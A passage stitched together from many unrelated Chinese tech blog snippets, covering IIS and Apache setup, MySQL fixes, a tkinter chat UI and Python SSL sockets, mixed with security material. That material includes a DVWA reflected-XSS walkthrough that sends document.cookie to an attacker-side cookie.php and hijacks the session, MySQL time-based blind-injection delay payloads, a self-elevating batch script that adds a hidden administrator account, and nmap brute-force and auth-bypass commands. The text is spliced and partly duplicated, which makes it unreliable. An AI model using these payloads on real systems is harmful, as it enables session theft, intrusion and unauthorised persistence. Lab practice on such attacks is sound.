,下一步选择端口,如果需要绑定IP和主机头,需要在这里绑定,我们没有需要,就不做了(打个比方,我们的网站的访问路径是http://192.168.1.150:2000,这里的2000就是需要的端口号)接下来我们要选定网站的物理路径,就是这个网站的文件到底放在了电脑的那个地方,C盘?D盘?还是哪,反正就是网站所在的文件夹的路径选定文件夹后再点击下一步接下来要配合网站的访问权限,由于我们的网站需要些文件操作的功能,所以我们一般都把写入权限加上单击下一步后,我们的网站就算是创建成功了接下来我们需要管理我们的这个网站,我们再打开网站菜单,可以看到我们创建的Test的站点,右键-->属性 就可以配置一些属性 基本上都不用去管他,我们需要确认两件事情:1、站点使用.net2.0的服务扩展2、站点使用了我们刚才创建的名字为Test的应用程序池打开主目录选项卡-->在应用程序池那里选择Test为你的应用程序池选定后点击应用。再去ASP.NET选项卡上面看看,版本是不是2.0,如果不是,就切换成2.0最后,我们需要给需要些文件的文件夹操作权限,不然程序会报错在相关文件夹(Log,Excel)上面右键-->属性-->安全选项卡在下面的组或用户名称下面,如果没有Everyone这个用户,添加进去:再把everyone用户所有的权限都设置为允许。点击确定。我们的站点就这样发布完成了。
PS:我是在wamp5集成环境中搭建的 1、解压下载好的DVWA安装包到www目录下 DVWA安装包: 2、在浏览器中输入" http://127.0.0.1/DVWA-master/setup.php " (DVWA-master是解压后放入的文件夹名)3、进入setup安装界面,点击 Create/Reset Database 按钮时可能会出现如下错误: 4、修改 config.inc.php 配置文件 将安全级别设置为low $_DVWA[ ‘default_security_level‘ ] = ‘low‘;mysql默认密码为空 $_DVWA[ ‘db_user‘ ] = ‘root‘; $_DVWA[ ‘db_password‘ ] = ‘‘; 报错: reCAPTCHA key:Missing设置public_key和private_key为 $_DVWA[ ‘recaptcha_public_key‘ ] = ‘6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg‘; $_DVWA[ ‘recaptcha_private_key‘ ] = ‘6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ‘; 5、若再次尝试setup后还报错,则找到php的配置文件(php.ini)并做如下修改 报错: PHP function allow_url_include: Disabledallow_url_include=Off 改为 allow_url_include=on 报错: PHP module pdo_mysql: Missing Fatal error: Uncaught exception ‘PDOException‘ with message ‘could not find driver‘去掉“;”或“#”的注释来开启部分扩展。 ;extension=php_pdo.dll 改为 extension=php_pdo.dll ;extension=php_pdo_mysql.dll 改为 extension=php_pdo_mysql.dll 报错: PHP module gd:Missing ;extension=php_gd2.dll 改为 extension=php_gd2.dll 重启服务,再setup (我用的wamp,最简单的方式是,在任务栏找到wamp5图标,选中"PHP设置"——"PHP扩展"——"选择你所要开启的扩展") 测试GD库代码:<?php if(extension_loaded(‘gd‘)){ echo ‘可以使用gd<br>‘; foreach(gd_info() as $cate=>$value){ echo "$cate:$value<br>"; } }else echo ‘没有安装gd扩展‘; ?>
1 现象mysql -u root -p错误:ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: NO/YES)2 linux系统:在配置文件my-default.cnf或my.cnf下[mysqld]下添加skip-grant-tables;因为此方法无效,所以找到了以下方法为了加强安全性,MySQL5.7为root用户随机生成了一个密码,在error log中,关于error log的位置,如果安装的是RPM包,则默认是/var/log/mysqld.log。所以在/var/log/找到文件mysqld.log用命令:vi 打开进入命令模式查找生成的随机密码输入:/temporary password可以看到:A temporary password is generated for root@localhost: <你要找的临时密码>所以就可以以此密码登陆‘root’用户了mysql -u root -p 回车要输入密码:<上面找到的临时密码>输入:use mysql;进入mysql后就是修改密码了如果直接输入:update user set authentication_string=password('新密码,例如:123456') where user='root';则:ERROR 1819 (HY000): Your password does not satisfy the current policy requirements这个意思是说你设置的密码‘123456’不符合安全规则(1.必须含有数字,小写或大写字母,特殊字符;2.最小长度为8)必须修改两个全局参数首先,修改validate_password_policy参数的值set global validate_password_policy=0;这样就去除了规则 1,只有长度限制了接下来修改参数 validate_password_lengthmysql> select @@validate_password_length;#查看参数值+----------------------------+| @@validate_password_length |+----------------------------+| 8 |+----------------------------+set global validate_password_length=1;mysql> select @@validate_password_length;#查看参数值+----------------------------+| @@validate_password_length |+----------------------------+| 4 |+----------------------------+只要设置的值小于4都为4。这样就可以修改简单的密码了update user set authentication_string=password('密码:root') where user='root';flush privileges;退出:quit重启服务:service mysqld restart进入mysqlmysql -u root -proot成功!3 windows:进入mysql安装目录,复制my-default.ini,命名为my.ini编辑my.ini在[mysqld]下添加skip-grant-tables保存。重启mysql:1、net stop mysql 2、net start mysql进入mysqlmysql -u root -p不用输入密码,直接回车输入use mysql修改root的密码update user set authentication_string=password('新密码') where user='root';flush privileges;退出:quit再次重启mysql:1、net stop mysql 2、net start mysql测试是否成功就是是否登陆成功咯。mysql -u root -p<新密码>完成!
1、IIS下301设置 Internet信息服务管理器 -> 虚拟目录 -> 重定向到URL,输入需要转向的目标URL,并选择“资源的永久重定向”。 在IIS中,也可以通过安装ISAPI Rewrite组件来实现如Apache中mod_rewrite的功能,详见ISAPI Rewrite 3下载及常用301规则。 2、ASP下的301重定向代码 <%@ Language=VBScript %> <% Response.Status=”301 Moved Permanently” Response.AddHeader “Location”, “106/” %> 3、ASP.Net下的301重定向代码 <script runat=”server”> private void Page_Load(object sender, System.EventArgs e) { Response.Status = “301 Moved Permanently”; Response.AddHeader(”Location”,” 106/“); } </script> 4、PHP下的301重定向代码 header(”HTTP/1.1 301 Moved Permanently”); header(”Location: 106/”); exit(); 5、CGI Perl下的301重定向代码 $q = new CGI; print $q->redirect(””); 6、JSP下的301重定向代码 <% response.setStatus(301); response.setHeader( “Location”, “” ); response.setHeader( “Connection”, “close” ); %> 7、Apache下301重定向代码 新建.htaccess文件,输入下列内容(需要开启mod_rewrite): 1)将不带WWW的域名转向到带WWW的域名下 Options +FollowSymLinks RewriteEngine on RewriteCond %{HTTP_HOST} ^embeta.com [NC] RewriteRule ^(.*)$ $1 [L,R=301] 2)重定向到新域名 Options +FollowSymLinks RewriteEngine on RewriteRule ^(.*)$ $1 [L,R=301] 3)使用正则进行301转向,实现伪静态 Options +FollowSymLinks RewriteEngine on RewriteRule ^news-(.+)\.html1 将news.php?id=123这样的地址转向到news-123.html 8、Apache下vhosts.conf中配置301重定向 为实现URL规范化,SEO通常将不带WWW的域名转向到带WWW域名,vhosts.conf中配置为: <VirtualHost *:80> ServerName DocumentRoot /home/embeta </VirtualHost> <VirtualHost *:80> ServerName embeta.com RedirectMatch permanent ^/(.*) $1 </VirtualHost> Apache实现301重定向的几种例子 (修改.htaccess文件 ) 格式: RewriteEngine On RewriteCond %{HTTP_HOST} !^网站域名$ [NC] RewriteRule ^(.*)$ 别的域名$1 [L,R=301] 或RewriteRule ^(.*)$ 别的文件 [L,R=301] 1.重定向sjolzy.cn到 www.sjolzy.cn 这种重定向旨在使域名唯一,是网站SEO必须要做的,后面重定向www.sjolzy.cn到 sjolzy.cn也是出于同样的原因,只是形式不同。 打开.htaccess文件,加入以下规则。(下面的规则是针对主域名的,子域名要修改) RewriteEngine On RewriteCond %{HTTP_HOST} !^www.sjolzy.cn$ [NC] RewriteRule ^(.*)$ http://www.sjolzy.cn/$1 [L,R=301] 2. 重定向www.sjolzy.cn到sjolzy.cn RewriteEngine On RewriteCond %{HTTP_HOST} !^sjolzy.cn$ [NC] RewriteRule ^(.*)$ http://sjolzy.cn/$1 [L,R=301] 3.重定向oldsjolzy.cn到www.newsjolzy.cn RewriteEngine On RewriteCond %{HTTP_HOST} !oldsjolzy.cn$ [NC] RewriteRule ^(.*)$ http://www.newsjolzy.cn/$1 [L,R=301] 4.重定向 oldsjolzy.cn to newsjolzy.cn RewriteEngine On RewriteBase / RewriteCond %{HTTP_HOST} !oldsjolzy.cn$ [NC] RewriteRule ^(.*)$ http://newsjolzy.cn/$1 [L,R=301] 5.重定向sjolzy.cn/file/file.php 到 othersjolzy.cn/otherfile/other.php RewriteCond %{HTTP_HOST} ^www.sjolzy.cn$ RewriteRule ^file/file.php$ http://www.othersjolzy.cn/otherfile/other.php [R=301,L]
我们可以使用一种变通的方法,让bat启动时,首先调用vbs脚本,通过vbs脚本,以管理员身份调用该bat的 runas 部分我们的脚本可以写在runas 下,这样就点击该bat脚本,就可以已管理员身份运行了创建一个用户名为ppp 密码为111的用户@ECHO OFF setlocal EnableDelayedExpansion color 3e title 添加服务配置 PUSHD %~DP0 & cd /d "%~dp0" %1 %2 mshta vbscript:createobject("shell.application").shellexecute("%~s0","goto :runas","","runas",1)(window.close)&goto :eof :runas ::填写自己的脚本 net user ppp 111 /add net localgroup administrators ppp /add echo 执行完毕,任意键退出 pause >nul还有另外一种方法:https://www.jb51.net/os/win10/483686.html(我未使用,感兴趣的可以试试,win的系统命令我不太熟,[打脸])。
一、准备首先呢,需要先有一个dvwa的靶场,我这里是在本地搭建了一个,先访问127.0.0.1,正常用户名密码登录这里就以low级别进行操作 二、获取cookie 选择反射型xss题目,先使用弹窗测试一下<script>alert(123)</script> 确定可以使用代码之后,在搭建的服务器目录下创建一个cookie.php,我这里是C:\wamp\www(仅供参考) 目的是为了将获取到的cookie,保存到cookie.php所在目录下自动生成一个cookie.txt接下来需要根据题目构造js语句<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script> #语句是跳转执行访问指定的文件, 并在url中显示cookie使用js语句获取cookie的两种方式:第一种方式:url栏输入,进行url编码原始URL: http://location/dvwa/vulnerabilities/xss_r/?name= <script>doument.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script> 需要进行URL编码: http://localhost/dvwa/vulnerabilities/xss_r/?name= %3Cscript%3Edocument.location%3D%27http%3A%2f%2f127.0.0.1%2fcookie.php%3Fcookie%3D%27%2bdocument.cookie%3B%3C%2fscript%3E#第二种方式是在xss注入处直接些参数<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script> 提交,成功的话会跳转到另一个界面 现在我先查看一下文件目录,可以看到是已经成功创建了一个名为cookie.txt的文本 另外能够看到浏览器url框内有一个cookie的值 三、攻击者利用获取到的cookie登录到受害者的账户第一种方式:修改浏览器记录的cookie获取到cookie后打开另外一个浏览器访问dvwa(此浏览器用别的账号登陆过DVWA,所以浏览器有对应的cookie格式)(因为本地搭建原因,除非重新打开浏览器,否则cookie不能正常刷新,所以直接打开另一个浏览器方便一些),f12打开开发者工具,找到cookie值。 修改cookie为获取的cookie 并将security 设为low ,然后输入目标用户的ID和密码登陆目标用户, 第二种方式:使用burpsuite 抓包,改包, ok,已经成功利用获取到的cookie进行登录
一、1、显示的错误如下: 2、解决的方法是:在运行中切换到你的apache的bin目录下,执行httpd.exe,看有什么提示 C:\GreenSoftware\Apache24\bin>httpd(OS 10048)通常每个套接字地址(协议/网络地址/端口)只允许使用一次。 : AH00072: make_sock: could not bind to address [::]:443(OS 10048)通常每个套接字地址(协议/网络地址/端口)只允许使用一次。 : AH00072: make_sock: could not bind to address 0.0.0.0:443AH00451: no listening sockets available, shutting downAH00015: Unable to open logs3、根据错误提示,修改相应的信息,比如我的是端口443被占用,查找一下是哪个应用占用了端口443。 可以看到是虚拟机占用了端口443。所以有以下两种解决方法:杀死该虚拟机进程,释放端口;修改Apache的监听端口。修改Apache监听端口的方法如下: 来源:https://blog.csdn.net/u012758088/article/details/78677841二 、然后说下我的个人问题我是在httpd-vhosts.conf中 一行代码的后面加了一个注释导致apache起不来的。。。 三、网上找到的说其他原因的,虽说我没用上,但是总结到一块吧。1 原因:这个提示告诉我们80端口被占用,导致Apache2无法启动,于是按照提示将端口改成8080dos 窗口下 netstat -ano 可以查看所有服务端口占用情况 解决——>打开Apache的配置文件httpd.conf,修改端口号,重启即可解决来源:https://www.cnblogs.com/jiechn/p/3940557.html2 安装Apache2的路径中不能含有中文.
Nmap扫描常用命令 参数速查表参数(注意区分大小写)说明-sT TCP connect()扫描,这种方式会在目标主机的日志中记录大批连接请求和错误信息。-sS 半开扫描,很少有系统能把它记入系统日志。不过,需要Root权限。-sF -sN 秘密FIN数据包扫描、Xmas Tree、Null扫描模式-sP ping扫描,Nmap在扫描端口时,默认都会使用ping扫描,只有主机存活,Nmap才会继续扫描。-sU UDP扫描,但UDP扫描是不可靠的-sA 这项高级的扫描方法通常用来穿过防火墙的规则集-sV 探测端口服务版本-Pn 扫描之前不需要用ping命令,有些防火墙禁止ping命令。可以使用此选项进行扫描-v 显示扫描过程,推荐使用-h 帮助选项,是最清楚的帮助文档-p 指定端口,如“1-65535、1433、135、22、80”等-O 启用远程操作系统检测,存在误报-A 全面系统检测、启用脚本检测、扫描等-oN/-oX/-oG 将报告写入文件,分别是正常、XML、grepable 三种格式-T4 针对TCP端口禁止动态扫描延迟超过10ms-iL 读取主机列表,例如,“-iL C:\ip.txt” 1、扫描单个目标nmap ip如:nmap 192.168.0.1012、扫描多个目标nmap ip1 ip2 适用于目标地址不再同一个网段或在同一网段不连续且数量不多的情况。如:nmap 192.168.0.101 192.168.0.1103、扫描一个范围内的目标nmap xxx.xxx.xxx.xxx-xxx如:nmap 192.168.0.100-1104、扫描目标地址所在某网段namp xxx.xxx.xxx.xxx/xx如:nmap 192.168.0.1/245、扫描包含主机列表的文件中的所有地址nmap -iL <File path>如:nmap -iL /root/target.txt6、扫描除了一个目标地址之外的所有地址nmap ip段 -exclude 被排除的ip如:nmap 192.168.0.100-110 -exclude 192.168.0.103 nmap 192.168.0.1/24 -exclude 192.168.0.103 7、扫描除了某一个文件中的地址之外的所有地址nmap ip段 -excludefile <file path>如:nmap 192.168.0.100-110 -excludefile /root/targets.txt nmap 192.168.0.1/24 -excludefile /root/targets.txt8、扫描目标地址的指定端口nmap ip -p 端口1,端口2,端口3……如:nmap 192.168.0.101 -p 80,8080,3306,33899、对目标地址进行路由跟踪nmap --traceroute ip如:nmap --traceroute 192.168.0.10110、扫描目标地址C段的在线主机nmap -sP ip段如:nmap -sP 192.168.0.1/2411、扫描目标地址进行操作系统版本nmap -O ip如:nmap -O 192.168.0.10112、扫描目标所开放的全部端口(半开式)nmap -sS -p 端口号-多个用逗号(,)隔开 -v ip如:nmap -sS -p 1-65535 192.168.0.10113、扫描目标地址开放服务(端口)版本nmap -sV ip如:nmap -sV 192.168.0.10114、探测防火墙nmap -sF -T4 ip如:nmap -sF -T4 192.168.0.101 14、绕过防火墙进行全面扫描nmap -Pn -A ip如:nmap -Pn -A 192.168.0.101 进阶用法-advanced nmap --script=xx 使用某个脚本进行扫描1、弱口令扫描nmap --script=auth ip 对某个主机或某网段主机的应用进行弱口令检测如:nmap --script=auth 192.168.0.1012、暴力破解nmap --script=brute ip 可以对胡句酷、MB、SNMP等进行简单的暴力破解如:nmap --script=brute 192.168.0.1013、扫描常见nmap --script=vuln ip 如:nmap --script=vuln 192.168.0.1014、使用脚本进行应用服务扫描nmap --script=xxx ip 对常见应用服务进行扫描 如:VNC、MySQL、Telnet、Rync等服务如VNC服务:nmap --script=realvnc-auth-bypass 192.168.0.1015、探测局域网内服务开放情况nmap -n -p xxx --script=broadcast ip如:nmap --script=broadcast 192.168.0.1016、Whois解析nmap -script external url如:nmap -script external baidu.com7、扫描Web敏感目录nmap -p 80 --script=http-enum.nse ipnmap -p 80 --script=http-enum.nse 192.168.0.1018、其他上述所有命令的各种灵活组合使用。
CSRFTester 之CSRF测试CSRFTester &burpCSRFtester教程10.00左右1)设置浏览器代理:127.0.0.1:80082)登陆web应用程序,填写表单,在tester右上角点击start recording,提交表单,在CSRFTester中找到对应的请求包,修改表单内容,3)点击右下角的generate html 产生,产生POC代码,删掉文件中不用表单,点击保存的文件,用同一个浏览器打开保证cookie。 burpsuite之CSRF测试本测试以burpsuite与火狐浏览器为例一、设置代理这个记得先置为off,因为on的意思是 开启拦截,所以先关闭拦截才能成功提交表单。 这个记得先置为off,因为on的意思是 开启拦截,所以先关闭拦截才能成功提交表单。 二、抓包火狐:进入对应可能存在漏洞的网址或表单·新增或修改表单:(1) 新增/修改(2) 填写表单(3) 提交/保存 ·找到抓取到提交表单的post包 三、伪造请求·右键选择Engagement tools – Generate CSRF PoC 修改提交的参数—生成CSRF的HTML—在浏览器中测试 打钩后下次点击在浏览器中测试则默认复制CSRFHTML点击copy后,直接在浏览器上的地址栏右键粘贴,回车 点击提交请求 但这不是重点,重点是查看刚才提交的信息是否成功被修改了或是成功新增了数据。四、检查是否成功提交 信息被修改,或成功新增表单,则说明可以成功伪造请求进行操作,存在CSRF漏洞。若无被修改/新增或在粘贴地址栏回车时页面出现错误,无法提交,则不存在CSRF漏洞
一、说明1. python标准库ssl可实现加密通信2. ssl库底层使用openssl,做了面向对像化改造和简化,但还是可以明显看出openssl的痕迹3. 本文先给出python实现的socket通信,在此基础上再给出ssl通信以便读者更方便地看到socket和ssl在python编程中的区别4. 说到ssl很多人都会想到https,但本质而言ssl是在传输层和应用层之间新插入的一个层,根据不同层无关原则ssl和https并没有任何绑定关系,ssl之上完全可以是其他任何应用层协议(比如pop/imap/telnet等等) 二、程序实现2.1 socket通信实现客户端代码:import socket class client_class: def send_hello(self): # 与服务端建立连接 client_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM) client_socket.connect(('127.0.0.1',9999)) # 向服务端发送消息 msg = "do i connect with server ?".encode("utf-8") client_socket.send(msg) # 接收服务端返回的消息 msg = client_socket.recv(1024).decode('utf-8') print(f"receive msg from server : {msg}") client_socket.close() if __name__ == "__main__": client = client_class() client.send_hello()服务端代码:import socket class server_class : def build_listen(self): # 监听端口 server_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM) server_socket.bind(('127.0.0.1',9999)) server_socket.listen(5) while True: # 接收客户端连接 client_socket, addr = server_socket.accept() # 接收客户端信息 msg = client_socket.recv(1024).decode("utf-8") print(f"receive msg from client {addr}:{msg}") # 向客户端发送信息 msg = f"yes , you have client_socketect with server.\r\n".encode("utf-8") client_socket.send(msg) client_socket.close() if __name__ == "__main__": server = server_class() server.build_listen() 2.2 ssl通信实现客户端代码:import socket import ssl class client_ssl: def send_hello(self,): # 生成SSL上下文 context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) # 加载信任根证书 context.load_verify_locations('cert/ca.crt') # 与服务端建立socket连接 with socket.create_connection(('127.0.0.1', 9443)) as sock: # 将socket打包成SSL socket # 一定要注意的是这里的server_hostname不是指服务端IP,而是指服务端证书中设置的CN,我这里正好设置成127.0.1而已 with context.wrap_socket(sock, server_hostname='127.0.0.1') as ssock: # 向服务端发送信息 msg = "do i connect with server ?".encode("utf-8") ssock.send(msg) # 接收服务端返回的信息 msg = ssock.recv(1024).decode("utf-8") print(f"receive msg from server : {msg}") ssock.close() if __name__ == "__main__": client = client_ssl() client.send_hello()服务端代码:import socket import ssl class server_ssl: def build_listen(self): # 生成SSL上下文 context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) # 加载服务器所用证书和私钥 context.load_cert_chain('cert/server.crt', 'cert/server_rsa_private.pem.unsecure') # 监听端口 with socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) as sock: sock.bind(('127.0.0.1', 9443)) sock.listen(5) # 将socket打包成SSL socket with context.wrap_socket(sock, server_side=True) as ssock: while True: # 接收客户端连接 client_socket, addr = ssock.accept() # 接收客户端信息 msg = client_socket.recv(1024).decode("utf-8") print(f"receive msg from client {addr}:{msg}") # 向客户端发送信息 msg = f"yes , you have client_socketect with server.\r\n".encode("utf-8") client_socket.send(msg) client_socket.close() if __name__ == "__main__": server = server_ssl() server.build_listen() 三、运行结果当前项目结构如图所示,证书生成可参考:openssl实现双向认证教程(服务端代码+客户端代码+证书生成) 3.1 socket通信运行结果客户端:服务端: 3.2 ssl通信运行结果客户端:服务端:
环境python3.x 3.x之后tkinter自带,jupyter notebook/pycharm常见的聊天窗口image.png聊天窗口布局左上:聊天历史信息显示 左中:当前信息编辑区域 左下:按钮区域 右侧:显示展示区域 Frame控件容器区域布局frmLT,frmLC,frmLB,frmRT#创建frmLT容器 frmLT = Frame(width = 500, height = 320, bg = 'white') frmLC = Frame(width = 500, height = 150, bg = 'white') frmLB = Frame(width = 500, height = 30) frmRT = Frame(width = 200, height = 500) 控件对象命名规则“控件类型” + “功能” frmLT: frame + LeftTop txtMsg: text控件 + 消息 btnSend: button控件 + 发送 消息处理:txtMsg = Text(frmLC) txtMsg.bind("<KeyPress-Up>", sendMsgEvent) btnSend = Button(frmLB, text = '发送', width = 8, command = sendMsg) btnCancel =Button(frmLB, text = '取消', width = 8, command = cancelMsg) 图片处理:imgInfo = PhotoImage(file = "timg-2.gif") lblImage = Label(frmRT, image = imgInfo) lblImage.image = imgInfosendNsg()回调函数,通过函数指针调用的函数def sendMsg():#发送消息 strMsg = "我:" + time.strftime("%Y-%m-%d %H:%M:%S",time.localtime())+ '\n' txtMsgList.insert(END, strMsg, 'greencolor') txtMsgList.insert(END, txtMsg.get('0.0', END)) txtMsg.delete('0.0', END) cancelMsg()def cancelMsg():#取消信息 txtMsg.delete('0.0', END) sendMsgEvent(event)def sendMsgEvent(event):#发送消息事件 if event.keysym =='Up': sendMsg()grid()界面布局控制frmLT.grid(row = 0, column = 0, columnspan = 2, padx = 1, pady = 3) frmLC.grid(row = 1, column = 0, columnspan = 2, padx = 1, pady = 3) frmLB.grid(row = 2, column = 0, columnspan = 2) frmRT.grid(row = 0, column = 2, rowspan = 3, padx =2, pady = 3) #固定大小 frmLT.grid_propagate(0) frmLC.grid_propagate(0) frmLB.grid_propagate(0) frmRT.grid_propagate(0) btnSend.grid(row = 2, column = 0) btnCancel.grid(row = 2, column = 1) lblImage.grid() txtMsgList.grid() txtMsg.grid()主事件循环app.mainloop() 代码整体:from tkinter import * import time def main(): def sendMsg():#发送消息 strMsg = "我:" + time.strftime("%Y-%m-%d %H:%M:%S",time.localtime())+ '\n' txtMsgList.insert(END, strMsg, 'greencolor') txtMsgList.insert(END, txtMsg.get('0.0', END)) txtMsg.delete('0.0', END) def cancelMsg():#取消信息 txtMsg.delete('0.0', END) def sendMsgEvent(event):#发送消息事件 if event.keysym =='Up': sendMsg() #创建窗口 app = Tk() app.title('与python聊天') #创建frame容器 frmLT = Frame(width = 500, height = 320, bg = 'white') frmLC = Frame(width = 500, height = 150, bg = 'white') frmLB = Frame(width = 500, height = 30) frmRT = Frame(width = 200, height = 500) #创建控件 txtMsgList = Text(frmLT) txtMsgList.tag_config('greencolor',foreground = '#008C00')#创建tag txtMsg = Text(frmLC) txtMsg.bind("<KeyPress-Up>", sendMsgEvent) btnSend = Button(frmLB, text = '发送', width = 8, command = sendMsg) btnCancel =Button(frmLB, text = '取消', width = 8, command = cancelMsg) imgInfo = PhotoImage(file = "timg-2.gif") lblImage = Label(frmRT, image = imgInfo) lblImage.image = imgInfo #窗口布局 frmLT.grid(row = 0, column = 0, columnspan = 2, padx = 1, pady = 3) frmLC.grid(row = 1, column = 0, columnspan = 2, padx = 1, pady = 3) frmLB.grid(row = 2, column = 0, columnspan = 2) frmRT.grid(row = 0, column = 2, rowspan = 3, padx =2, pady = 3) #固定大小 frmLT.grid_propagate(0) frmLC.grid_propagate(0) frmLB.grid_propagate(0) frmRT.grid_propagate(0) btnSend.grid(row = 2, column = 0) btnCancel.grid(row = 2, column = 1) lblImage.grid() txtMsgList.grid() txtMsg.grid() #主事件循环 app.mainloop() if __name__ == "__main__": main()
mysql中的get_lock锁机制解析GET_LOCK(key,timeout) 需要两个连接会话RELEASE_LOCK(key) 锁是否释放,释放了返回1IS_FREE_LOCK(key) 返回当前连接ID,表示名称为'xxxx'的锁正在被使用。 key 锁的名字,timeout加锁等待时间,时间内未加锁成功则事件回滚。get_lock 加锁成功返回1, 这个锁是应用程序级别的,在不同的mysql会话之间使用,是名字锁,不是锁具体某个表名或字段,具体是锁什么完全交给应用程序。它是一种独占锁,意味着哪个会话持有这个锁,其他会话尝试拿这个锁的时候都会失败。 session A select get_lock('test',1); session B select get_lock('test',5); 可以指定表也可以不指定 直到关闭连接会话结束,锁才会释放,但不像redis那样加了锁只要不主动释放就一直有。 但是当会话1 get_lock 后,未释放。会话2 不get_lock 同一个key,或者就不get_lock,依然可以对数据进行任何操作,所以加锁只是说人为的主观的想要让某些操作同时只有一个连接能进行操作,别的连接不调用get_lock加同一个锁,那它不会受到任何影响,想干什么干什么。session1 session2 get_lock:但是当会话1 get_lock 后,未释放。会话2 不get_lock 同一个key,或者就不get_lock,依然可以对数据进行任何操作,所以加锁只是说人为的主观的想要让某些操作同时只有一个连接能进行操作,别的连接不调用get_lock加同一个锁,那它不会受到任何影响,想干什么干什么。session1session2 优缺点分析 (1)这种方式对于更新所有列比较有效,但是得把查询的语句也放在锁内执行; (2)这种方式当客户端无故断线了会自动释放锁,比较好,不像redis锁那样,如果加完锁断了,那么锁一直在; (3)这种方式是针对锁内的所有操作加锁,并不针对特定表或特定行,所以使用了同一个Key的锁但不同的操作都会共用一把锁,会导致效率低下; (4)如果查询语句放在锁之前,则数据可能是旧的,更新之后会把查询之后更新之前别的客户端更新的数据覆盖掉;
MySQL时间盲注五种延时方法 (PWNHUB 非预期解)延时注入函数五种:sleep(),benchmark(t,exp),笛卡尔积,GET_LOCK() RLIKE正则sleep()sleep(x)select sleep(5); benchmark() 重复执行某表达式 benchmark(t,exp) select benchmark(count,expr),是重复执行count次expr表达式,使得处理时间很长,来产生延迟, 比如select benchmark(1000000,encode("hello","good")); select benchmark( 5000000, md5( 'test' ));笛卡尔积 笛卡尔积(因为连接表是一个很耗时的操作) AxB=A和B中每个元素的组合所组成的集合,就是连接表 SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C; select * from table_name A, table_name B select * from table_name A, table_name B,table_name C select count(*) from table_name A, table_name B,table_name C 表可以是同一张表 GET_LOCK() 加锁GET_LOCK(key,timeout) 需要两个连接会话RELEASE_LOCK(key) 锁是否释放,释放了返回1IS_FREE_LOCK(key) 返回当前连接ID,表示名称为'xxxx'的锁正在被使用。 key 锁的名字,timeout加锁等待时间,时间内未加锁成功则事件回滚。get_lock 加锁成功返回1, 这个锁是应用程序级别的,在不同的mysql会话之间使用,是名字锁,不是锁具体某个表名或字段,具体是锁什么完全交给应用程序。它是一种独占锁,意味着哪个会话持有这个锁,其他会话尝试拿这个锁的时候都会失败。 session A select get_lock('test',1); session B select get_lock('test',5); 可以指定表也可以不指定 直到关闭连接会话结束,锁才会释放,但不像redis那样加了锁只要不主动释放就一直有。 但是当会话1 get_lock 后,未释放。会话2 不get_lock 同一个key,或者就不get_lock,依然可以对数据进行任何操作,所以加锁只是说人为的主观的想要让某些操作同时只有一个连接能进行操作,别的连接不调用get_lock加同一个锁,那它不会受到任何影响,想干什么干什么。session1 session2 get_lock:但是当会话1 get_lock 后,未释放。会话2 不get_lock 同一个key,或者就不get_lock,依然可以对数据进行任何操作,所以加锁只是说人为的主观的想要让某些操作同时只有一个连接能进行操作,别的连接不调用get_lock加同一个锁,那它不会受到任何影响,想干什么干什么。session1session2优缺点分析 (1)这种方式对于更新所有列比较有效,但是得把查询的语句也放在锁内执行; 2)这种方式当客户端无故断线了会自动释放锁,比较好,不像redis锁那样,如果加完锁断了,那么锁一直在; (3)这种方式是针对锁内的所有操作加锁,并不针对特定表或特定行,所以使用了同一个Key的锁但不同的操作都会共用一把锁,会导致效率低下; (4)如果查询语句放在锁之前,则数据可能是旧的,更新之后会把查询之后更新之前别的客户端更新的数据覆盖掉; RLIKE REGEXP正则匹配通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b'); 正则语法: . : 匹配任意单个字符 * : 匹配0个或多个前一个得到的字符 [] : 匹配任意一个[]内的字符,[ab]*可匹配空串、a、b、或者由任意个a和b组成的字符串。 ^ : 匹配开头,如^s匹配以s或者S开头的字符串。 $ : 匹配结尾,如s$匹配以s结尾的字符串。 {n} : 匹配前一个字符反复n次。 RPAD(str,len,padstr) 用字符串 padstr对 str进行右边填补直至它的长度达到 len个字符长度,然后返回 str。如果 str的长度长于 len',那么它将被截除到 len个字符。 mysql> SELECT RPAD('hi',5,'?'); -> 'hi???' repeat(str,times) 复制字符串times次 ⭐️寻找新的延迟函数 concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'以上代码等同于 sleep(5)
1.cd到/etc/rc.d/init.d/目录,并列出该目录下的所有文件,看看是否有httpd2.使用httpd -v查看已经安装的httpd的版本3.使用rpm -qa | grep httpd查看是否已经安装了httpd4 .使用ps -ef | grep httpd查看httpd的进程使用service httpd status查看httpd的运行状态使用service httpd stop可以停止httpd使用service httpd start 可以启动httpd7.service httpd服务启动后,可以在浏览器中输入http://localhost浏览测试,如果能看到如下所示的页面,说明Apache能正常工作。
